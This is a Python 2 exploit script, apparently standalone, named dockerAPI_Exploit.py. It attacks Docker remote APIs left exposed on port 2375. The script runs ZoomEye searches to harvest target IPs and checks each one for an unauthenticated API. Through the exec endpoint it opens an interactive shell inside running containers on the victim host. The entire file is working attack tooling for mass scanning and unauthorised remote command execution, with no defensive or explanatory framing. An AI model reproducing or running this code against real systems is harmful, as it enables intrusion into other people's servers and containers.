dockerAPI_Exploit.py

# -*- coding:utf-8 -*-
import requests
import urlparse
import argparse
import json
import socket
import time
import sys


class scan():
	def __init__(self):
		self.VulnerabilityIp = []

	def Check(self,url):
		Check_Url = url+'containers/json'
		try:
			TestRe = requests.get(Check_Url,timeout = 5)
		except:
			print "Can not connect URL   Timeout!"
			return 1
		if 'server' or 'Server' in TestRe.headers.keys():
			if 'Docker' in TestRe.headers['server'] or 'Docker' in TestRe.headers['Server'] and 'Command' in TestRe.text:
				print "\33[31m%s           :vulnerability\33[0m" %url
				self.VulnerabilityIp.append(url)
			else:
				print '%s            :not vulnerable' %url
		else:
			print '%s            :not vulnerable' %url


	def Getshell(self,url,host,port):
		GetShell_Url = url+'containers/json?all=1'
		count = 0
		try:
			TestRe = requests.get(GetShell_Url,timeout = 5)
		except:
			print "Can not connect URL   Timeout!"
			exit()
		date = TestRe.text
		decoded = json.loads(date)
		CtrlDocter = []
		AccCommand = ['sh', '/bin/sh', '/bin/bash', 'bash', '/bin/csh', 'csh','/bin/ksh', 'ksh', '/bin/tcsh', 'tcsh', '/bin/zsh', 'zsh']
		for entries in decoded:
			if ("Up" in entries['Status']) and ("Exited" not in entries['Status']) and (entries['Command'] in AccCommand):
				count+=1
				ID = count
				DockerID =entries['Id']
				Name = entries['Names']
				Image = entries['Image']
				Command = entries['Command']
				detailed = {'ID':str(ID) , 'Name' :Name[0] ,'Image':Image , 'Command' : Command, 'DockerID' : DockerID}
				CtrlDocter.append(detailed)
		if count:
			print "Control Container Number:%s" %count
			for i in CtrlDocter:
				print ""
				for key , value in i.items():
					print "\33[31m"+key+":"+value+"\33[0m"
		else:
			print "No Container Can Control"
			return
		print 'Input exit to leave'
		while True:
			CtrlId = raw_input("Input Container ID:")
			if CtrlId == 'exit':
				break
			Command = CtrlDocter[int(CtrlId) - 1]['Command']
			CtrlSId = CtrlDocter[int(CtrlId) - 1]['DockerID'][0:12]
			PostUrl = url+'v1.20/containers/'+CtrlSId+'/exec' 
			HEADER= {
			'User-Agent':'Docker-Client/1.8.0 (windows)',
			'Content-Length':'156',
			'Content-Type':'application/json',
			'Accept-Encoding':'gzip'}
			payload = '{"Tty": true, "Detach": false, "Container": "%s", "User": "", "AttachStdin": true, "Cmd": ["%s"], "AttachStderr": true, "Privileged": false, "AttachStdout": true}' %(CtrlSId,Command)
			re = requests.post(PostUrl, headers=HEADER, data = payload)
			decoded = json.loads(re.text)
			CreatedId = decoded['Id']
			sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			server_address = (host, int(port))
			sock.connect(server_address)
			execDockerPOSTtwo = '''\
POST /v1.20/exec/CreatedId/start HTTP/1.1
Host: 115.123.123.79:2375
User-Agent: Docker-Client/1.8.0 (windows)
Content-Length: 163
Connection: Upgrade
Content-Type: text/plain
Upgrade: tcp

{"User":"","Privileged":false,"Tty":true,"Container":"ContainerId","AttachStdin":true,"AttachStderr":true,"AttachStdout":true,"Detach":false,"Cmd":["Command"]}
'''
			execDockerPOSTtwo = execDockerPOSTtwo.replace('ContainerId', CtrlSId).replace('Command', Command)
			execDockerPOSTtwo = execDockerPOSTtwo.replace("CreatedId", CreatedId)
			time.sleep(1)
			sock.sendall(execDockerPOSTtwo)
			startinfo = sock.recv(1024*10)
			while True:
				cmd = raw_input('$:')
				sock.sendall(cmd+'\x0d')
				time.sleep(2)
				if cmd == "exit":
					break
				print sock.recv(1024*10)
			sock.close()

	def Panel_Scan(self,Search_keyword,PageNum):
		GetTokenUrl = 'https://api.zoomeye.org/user/login'
		userinfo ={"username": "username",
    		"password": "password"}
		tokenrl = requests.post(GetTokenUrl,data = json.dumps(userinfo),verify=False)
		data = eval(tokenrl.text)
		Header = {'Authorization': 'JWT %s' %data['access_token']}
		page = 1
		TestIpArgs = []
		if(Search_keyword == None):
			key = 'port:2375 X-Content-Type-Options: nosniff country:"CN"'
		else:
			key = Search_keyword
		while True:
			try:
				Searchurl = 'https://api.zoomeye.org/host/search?query=%s&page=%s'%(key,str(page))
				print 'Search in page :'+str(page)
				Searchre = requests.get(Searchurl,headers = Header,verify=False)
				GetData  = json.loads(Searchre.text)
				if PageNum != None:
					if page < int(PageNum):
						page+=1
					else:
						break
				else:
					page+=1
				for i in GetData['matches']:
					TestIpArgs.append(i['ip'])
			except Exception,e:
				if str(e.message) == 'matches':
					break
		print 'Start Test...'
		file = open('success.txt','w+')
		for TestIp in TestIpArgs:
			TestIp = 'http://'+TestIp+':2375/'
			print 'test:\t'+TestIp
			self.Check(TestIp)
		if len(self.VulnerabilityIp):
			print str(len(self.VulnerabilityIp))+' Vulnerability Url have found'
		else:
			print 'No Vulnerability Url found'
		for IP in self.VulnerabilityIp:
			print IP
			file.writelines(IP+'\n')
		file.close()

	def filescan(self,filepath):
		file = open(filepath,'r')
		data = file.readlines()
		for line in data:
			line=line.strip('\n')
			self.Check(line)
		file.close()
		if len(self.VulnerabilityIp):
			print str(len(self.VulnerabilityIp))+' Vulnerability Url have found'
		else:
			print 'No Vulnerability Url found'
		for IP in self.VulnerabilityIp:
			print IP

	def filegetshell(self,filepath):
		file = open(filepath,'r')
		data = file.readlines()
		count = 0
		urlargs = []
		for line in data:
			count+=1
			line = line.strip('\n')
			TmpUrl = urlparse.urlparse(line)
			host=  TmpUrl.netloc.split(':')
			detail = {'ID':count,'host':host[0],'port':host[1],'url':line}
			urlargs.append(detail)
			print detail
		while True:
			num = raw_input('UrlID:')
			if num == 'exit':
				break
			self.Getshell(urlargs[int(num)-1]['url'], urlargs[int(num)-1]['host'],urlargs[int(num)-1]['port'])




if __name__ == '__main__':
	parse = argparse.ArgumentParser()
	parse.add_argument('-u', dest = 'url' , help = 'example:http://111.222.333.444:2375/')
	parse.add_argument('-c', dest = 'check' , action = 'store_true', default = False , help = 'check')
	parse.add_argument('-g',dest = 'getshell' , action = 'store_true'  , default = False ,  help = 'getshell')
	parse.add_argument('-f',dest = 'zoomeye',action = 'store_true',default = False,help = 'Whether Use Zoomeye')
	parse.add_argument('-k',dest = 'keyword',help = 'Search  keyword default:port:2375 X-Content-Type-Options: nosniff country:"CN"')
	parse.add_argument('-p',dest = 'PageNum',help = 'Search PageNum')
	parse.add_argument('-d',dest = 'dictpath',help = 'Detection of URL in the file')
	parse.add_argument('-s',dest = 'CtrlDict',help = 'Has confirmed the existence of loopholes, try to get shell')
	args = parse.parse_args()
	Action_check = args.check
	Action_getshell = args.getshell
	Action_Panel_Test = args.zoomeye
	Search_keyword = args.keyword
	PageNum = args.PageNum
	filepath = args.dictpath
	CtrlDictpath = args.CtrlDict
	if(Action_Panel_Test != True and filepath == None and CtrlDictpath == None):
		TmpUrl = urlparse.urlparse(args.url)
		host=  TmpUrl.netloc.split(':')
		TestUrl = urlparse.urlunparse((TmpUrl.scheme,TmpUrl.netloc,'/','','',''))
	new_scan  = scan()
	if Action_check == True:
		print 'Start Test...'
		new_scan.Check(TestUrl)
	if(Action_getshell == True):
		new_scan.Getshell(TestUrl , host[0] , host[1])
	if(Action_Panel_Test == True):
		new_scan.Panel_Scan(Search_keyword,PageNum)
	if(filepath != None):
		new_scan.filescan(filepath)
	if(CtrlDictpath != None):
		new_scan.filegetshell(CtrlDictpath)